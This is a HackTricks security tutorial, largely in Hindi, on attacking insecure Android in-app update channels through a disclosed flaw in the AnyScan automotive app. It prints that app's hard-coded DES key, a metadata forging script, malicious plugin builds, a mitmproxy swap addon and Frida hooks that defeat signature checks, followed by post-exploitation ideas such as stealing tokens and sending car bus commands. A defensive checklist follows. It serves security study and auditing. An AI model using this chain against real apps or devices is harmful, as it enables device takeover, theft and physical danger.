असुरक्षित In-App Update Mechanisms – Remote Code Execution via Malicious Plugins

Reading time: 11 minutes

tip

AWS हैकिंग सीखें और अभ्यास करें:HackTricks Training AWS Red Team Expert (ARTE)
GCP हैकिंग सीखें और अभ्यास करें: HackTricks Training GCP Red Team Expert (GRTE) Azure हैकिंग सीखें और अभ्यास करें: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks का समर्थन करें

कई Android एप्लिकेशन Google Play Store का उपयोग करने के बजाय अपना स्वयं का “plugin” या “dynamic feature” अपडेट चैनल लागू करते हैं। यदि यह implementation असुरक्षित है तो अपडेट ट्रैफ़िक को intercept या tamper करने में सक्षम कोई attacker arbitrary native या Dalvik/ART कोड प्रदान कर सकता है जो app process के अंदर लोड होगा, जिससे हैंडसेट पर पूर्ण Remote Code Execution (RCE) होगा — और कुछ मामलों में ऐप द्वारा नियंत्रित किसी भी external device (cars, IoT, medical devices …) पर भी।

यह पेज Xtool AnyScan automotive-diagnostics ऐप (v4.40.11 → 4.40.40) में पाए गए एक वास्तविक‑विश्व कमज़ोरी श्रृंखला का सार देता है और तकनीक को सामान्यीकृत करता है ताकि आप अन्य Android ऐप्स का ऑडिट कर सकें और red-team engagement के दौरान mis-configuration को weaponise कर सकें।


0. त्वरित ट्रायाज: क्या ऐप में in‑app updater है?

Static hints to look for in JADX/apktool:

  • Strings: "update", "plugin", "patch", "upgrade", "hotfix", "bundle", "feature", "asset", "zip".
  • Network endpoints like /update, /plugins, /getUpdateList, /GetUpdateListEx.
  • Crypto helpers near update paths (DES/AES/RC4; Base64; JSON/XML packs).
  • Dynamic loaders: System.load, System.loadLibrary, dlopen, DexClassLoader, PathClassLoader.
  • Unzip paths writing under app-internal or external storage, then immediately loading a .so/DEX.

पुष्टि करने के लिए Runtime hooks:

js
// Frida: log native and dex loading
Java.perform(() => {
const Runtime = Java.use('java.lang.Runtime');
const SystemJ = Java.use('java.lang.System');
const DexClassLoader = Java.use('dalvik.system.DexClassLoader');

SystemJ.load.overload('java.lang.String').implementation = function(p) {
console.log('[System.load] ' + p); return this.load(p);
};
SystemJ.loadLibrary.overload('java.lang.String').implementation = function(n) {
console.log('[System.loadLibrary] ' + n); return this.loadLibrary(n);
};
Runtime.load.overload('java.lang.String').implementation = function(p){
console.log('[Runtime.load] ' + p); return this.load(p);
};
DexClassLoader.$init.implementation = function(dexPath, optDir, libPath, parent) {
console.log(`[DexClassLoader] dex=${dexPath} odex=${optDir} jni=${libPath}`);
return this.$init(dexPath, optDir, libPath, parent);
};
});

1. असुरक्षित TLS TrustManager की पहचान

  1. APK को jadx / apktool से डीकम्पाइल करें और networking stack (OkHttp, HttpUrlConnection, Retrofit…) का पता लगाएँ।
  2. ऐसे custom TrustManager या HostnameVerifier देखें जो हर प्रमाणपत्र पर बिना सत्यापन के भरोसा करते हों:
java
public static TrustManager[] buildTrustManagers() {
return new TrustManager[]{
new X509TrustManager() {
public void checkClientTrusted(X509Certificate[] chain, String authType) {}
public void checkServerTrusted(X509Certificate[] chain, String authType) {}
public X509Certificate[] getAcceptedIssuers() {return new X509Certificate[]{};}
}
};
}
  1. यदि मौजूद है तो एप्लिकेशन किसी भी TLS certificate को स्वीकार करेगा → आप self-signed cert के साथ एक transparent MITM proxy चला सकते हैं:
bash
mitmproxy -p 8080 -s addon.py  # see §4
iptables -t nat -A OUTPUT -p tcp --dport 443 -j REDIRECT --to-ports 8080  # on rooted device / emulator

Android Anti Instrumentation And Ssl Pinning Bypass

Make APK Accept CA Certificate


2. Reverse-Engineering अपडेट मेटाडेटा

AnyScan मामले में, प्रत्येक ऐप लॉन्च एक HTTPS GET को ट्रिगर करता है:

https://apigw.xtoolconnect.com/uhdsvc/UpgradeService.asmx/GetUpdateListEx

प्रतिक्रिया बॉडी एक XML दस्तावेज़ है जिसके <FileData> नोड्स में प्रत्येक उपलब्ध plugin का वर्णन करने वाली Base64-encoded, DES-ECB encrypted JSON होती है।

सामान्य हंटिंग चरण:

  1. crypto routine को ढूँढें (उदा. RemoteServiceProxy) और पुनः प्राप्त करें:
  • algorithm (DES / AES / RC4 …)
  • mode of operation (ECB / CBC / GCM …)
  • hard-coded key / IV (आम तौर पर 56‑bit DES या 128‑bit AES constants)
  1. Python में फ़ंक्शन को री-इम्प्लीमेंट करें ताकि metadata को decrypt / encrypt किया जा सके:
python
from Crypto.Cipher import DES
from base64 import b64decode, b64encode

KEY = IV = b"\x2A\x10\x2A\x10\x2A\x10\x2A"  # 56-bit key observed in AnyScan

def decrypt_metadata(data_b64: str) -> bytes:
cipher = DES.new(KEY, DES.MODE_ECB)
return cipher.decrypt(b64decode(data_b64))

def encrypt_metadata(plaintext: bytes) -> str:
cipher = DES.new(KEY, DES.MODE_ECB)
return b64encode(cipher.encrypt(plaintext.ljust((len(plaintext)+7)//8*8, b"\x00"))).decode()

Notes seen in the wild (2023–2025):

  • Metadata अक्सर JSON-within-XML या protobuf में होता है; कमजोर ciphers और static keys आम हैं।
  • कई updaters वास्तविक payload डाउनलोड के लिए plain HTTP स्वीकार करते हैं भले ही metadata HTTPS पर आए।
  • Plugins अक्सर app-internal storage में unzip होते हैं; कुछ अभी भी external storage या legacy requestLegacyExternalStorage का उपयोग करते हैं, जिससे cross-app tampering संभव होता है।

3. Craft a Malicious Plugin

3.1 Native library path (dlopen/System.load[Library])

  1. किसी भी वैध plugin ZIP को चुनें और नेटिव लाइब्रेरी को अपने payload से बदल दें:
c
// libscan_x64.so – constructor runs as soon as the library is loaded
__attribute__((constructor))
void init(void){
__android_log_print(ANDROID_LOG_INFO, "PWNED", "Exploit loaded! uid=%d", getuid());
// spawn reverse shell, drop file, etc.
}
bash
$ aarch64-linux-android-gcc -shared -fPIC payload.c -o libscan_x64.so
$ zip -r PWNED.zip libscan_x64.so assets/ meta.txt
  1. JSON metadata को अपडेट करें ताकि "FileName" : "PWNED.zip" और "DownloadURL" आपके HTTP server की ओर इशारा करें।
  2. संशोधित JSON को Re‑encrypt + Base64‑encode करें और उसे intercepted XML के अंदर वापस कॉपी करें।

3.2 Dex-आधारित plugin path (DexClassLoader)

कुछ apps JAR/APK डाउनलोड करते हैं और DexClassLoader के माध्यम से कोड लोड करते हैं। एक malicious DEX बनाएं जो लोड होने पर trigger करे:

java
// src/pwn/Dropper.java
package pwn;
public class Dropper {
static { // runs on class load
try {
Runtime.getRuntime().exec("sh -c 'id > /data/data/<pkg>/files/pwned' ");
} catch (Throwable t) {}
}
}
bash
# Compile and package to a DEX jar
javac -source 1.8 -target 1.8 -d out/ src/pwn/Dropper.java
jar cf dropper.jar -C out/ .
d8 --output outdex/ dropper.jar
cd outdex && zip -r plugin.jar classes.dex  # the updater will fetch this

यदि लक्ष्य Class.forName("pwn.Dropper") को कॉल करता है तो आपका static initializer निष्पादित होगा; अन्यथा, Frida के साथ रिफ्लेक्शन का उपयोग करके लोड की गई क्लासों को सूचीबद्ध करें और एक exported method को कॉल करें।


4. mitmproxy के साथ Payload डिलीवर करें

addon.py का उदाहरण जो चुपचाप मूल मेटाडेटा को बदल देता है:

python
from mitmproxy import http
MOD_XML = open("fake_metadata.xml", "rb").read()

def request(flow: http.HTTPFlow):
if b"/UpgradeService.asmx/GetUpdateListEx" in flow.request.path:
flow.response = http.Response.make(
200,
MOD_XML,
{"Content-Type": "text/xml"}
)

दुष्ट ZIP/JAR को होस्ट करने के लिए एक साधारण वेब सर्वर चलाएँ:

bash
python3 -m http.server 8000 --directory ./payloads

जब पीड़ित ऐप लॉन्च करेगा तो यह:

  • MITM चैनल पर हमारा फोर्ज किया गया XML प्राप्त करेगा;
  • hard-coded crypto के साथ इसे decrypt & parse करेगा;
  • PWNED.zip या plugin.jar डाउनलोड करेगा → निजी storage के अंदर unzip करेगा;
  • शामिल .so या DEX लोड करेगा, तुरंत हमारे कोड को ऐप की permissions (camera, GPS, Bluetooth, filesystem, …) के साथ execute करेगा।

क्योंकि plugin डिस्क पर cached रहता है, backdoor रिबूट्स के बाद भी बना रहता है और हर बार चलता है जब उपयोगकर्ता संबंधित फीचर चुनता है।


4.1 हस्ताक्षर/हैश चेक्स को बाईपास करना (जब मौजूद हों)

यदि updater signatures या hashes को validate करता है, तो verification को hook करें ताकि यह हमेशा attacker सामग्री को accept कर ले:

js
// Frida – make java.security.Signature.verify() return true
Java.perform(() => {
const Sig = Java.use('java.security.Signature');
Sig.verify.overload('[B').implementation = function(a) { return true; };
});

// Less surgical (use only if needed): defeat Arrays.equals() for byte[]
Java.perform(() => {
const Arrays = Java.use('java.util.Arrays');
Arrays.equals.overload('[B', '[B').implementation = function(a, b) { return true; };
});

Also consider stubbing vendor methods such as PluginVerifier.verifySignature(), checkHash(), or short‑circuiting update gating logic in Java or JNI.


5. अपडेटर्स में अन्य हमले की सतहें (2023–2025)

  • Zip Slip path traversal while extracting plugins: malicious entries like ../../../../data/data/<pkg>/files/target overwrite arbitrary files. Always sanitize entry paths and use allow‑lists.
  • External storage staging: अगर ऐप लोड करने से पहले archive को external storage में लिखता है, तो कोई भी अन्य ऐप इसमें छेड़छाड़ कर सकता है। Scoped Storage या internal app storage इसे रोकता है।
  • Cleartext downloads: metadata over HTTPS but payload over HTTP → straightforward MITM swap.
  • Incomplete signature checks: सिर्फ एक फ़ाइल hash की तुलना करना, पूरे archive की नहीं; signature को developer key से बाइंड न करना; archive में मौजूद किसी भी RSA key को स्वीकार करना।
  • React Native / Web-based OTA content: अगर native bridges OTA से आने वाले JS को बिना कड़े signing के execute करते हैं, तो app context में arbitrary code execution संभव है (उदा., insecure CodePush-like flows)। detached update signing और सख्त verification सुनिश्चित करें।

6. पोस्ट-एक्सप्लॉइटेशन विचार

  • ऐप द्वारा स्टोर किए गए session cookies, OAuth tokens, या JWTs चुरा लें।
  • दूसरी-स्टेज APK डालें और यदि संभव हो तो pm install के जरिए उसे साइलेंटली इंस्टॉल करें (कुछ ऐप पहले से REQUEST_INSTALL_PACKAGES घोषित करते हैं)।
  • किसी भी connected hardware का दुरुपयोग करें — AnyScan परिदृश्य में आप arbitrary OBD‑II / CAN bus commands भेज सकते हैं (दरवाज़े खोलना, ABS डिसेबल करना, आदि)।

Detection & Mitigation Checklist (blue team)

  • Dynamic code loading और out‑of‑store updates से बचें। Play‑mediated updates को प्राथमिकता दें। अगर dynamic plugins अनिवार्य हैं, तो उन्हें data‑only bundles के रूप में डिज़ाइन करें और executable code base APK में रखें।
  • TLS को सही तरीके से लागू करें: कोई custom trust‑all managers न रखें; जहाँ संभव हो pinning लागू करें और एक hardened network security config लागू करें जो cleartext traffic को अस्वीकार करे।
  • Google Play के बाहर से executable code डाउनलोड न करें। अगर करना ही हो, तो detached update signing (उदा., Ed25519/RSA) का उपयोग करें जिस पर developer‑held key हो और लोड करने से पहले verify करें। metadata और payload (length, hash, version) को बाइंड करें और fail closed रखें।
  • metadata के लिए per‑message nonces के साथ modern crypto (AES‑GCM) का उपयोग करें; clients से hard‑coded keys हटाएँ।
  • डाउनलोड किए गए archives की integrity validate करें: हर फ़ाइल को कवर करने वाली signature verify करें, या कम से कम SHA‑256 hashes के manifest को verify करें। अतिरिक्त/अज्ञात फाइलों को reject करें।
  • डाउनलोड्स को app‑internal storage (या Android 10+ पर scoped storage) में स्टोर करें और ऐसे file permissions का उपयोग करें जो cross‑app tampering को रोकें।
  • Zip Slip से बचाव: extraction से पहले zip entry paths को normalize और validate करें; absolute paths या .. segments को reject करें।
  • Play “Code Transparency” पर विचार करें ताकि आप और उपयोगकर्ता सत्यापित कर सकें कि shipped DEX/native code वही है जो आपने बनाया था (compliments but does not replace APK signing)।

References

tip

AWS हैकिंग सीखें और अभ्यास करें:HackTricks Training AWS Red Team Expert (ARTE)
GCP हैकिंग सीखें और अभ्यास करें: HackTricks Training GCP Red Team Expert (GRTE) Azure हैकिंग सीखें और अभ्यास करें: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks का समर्थन करें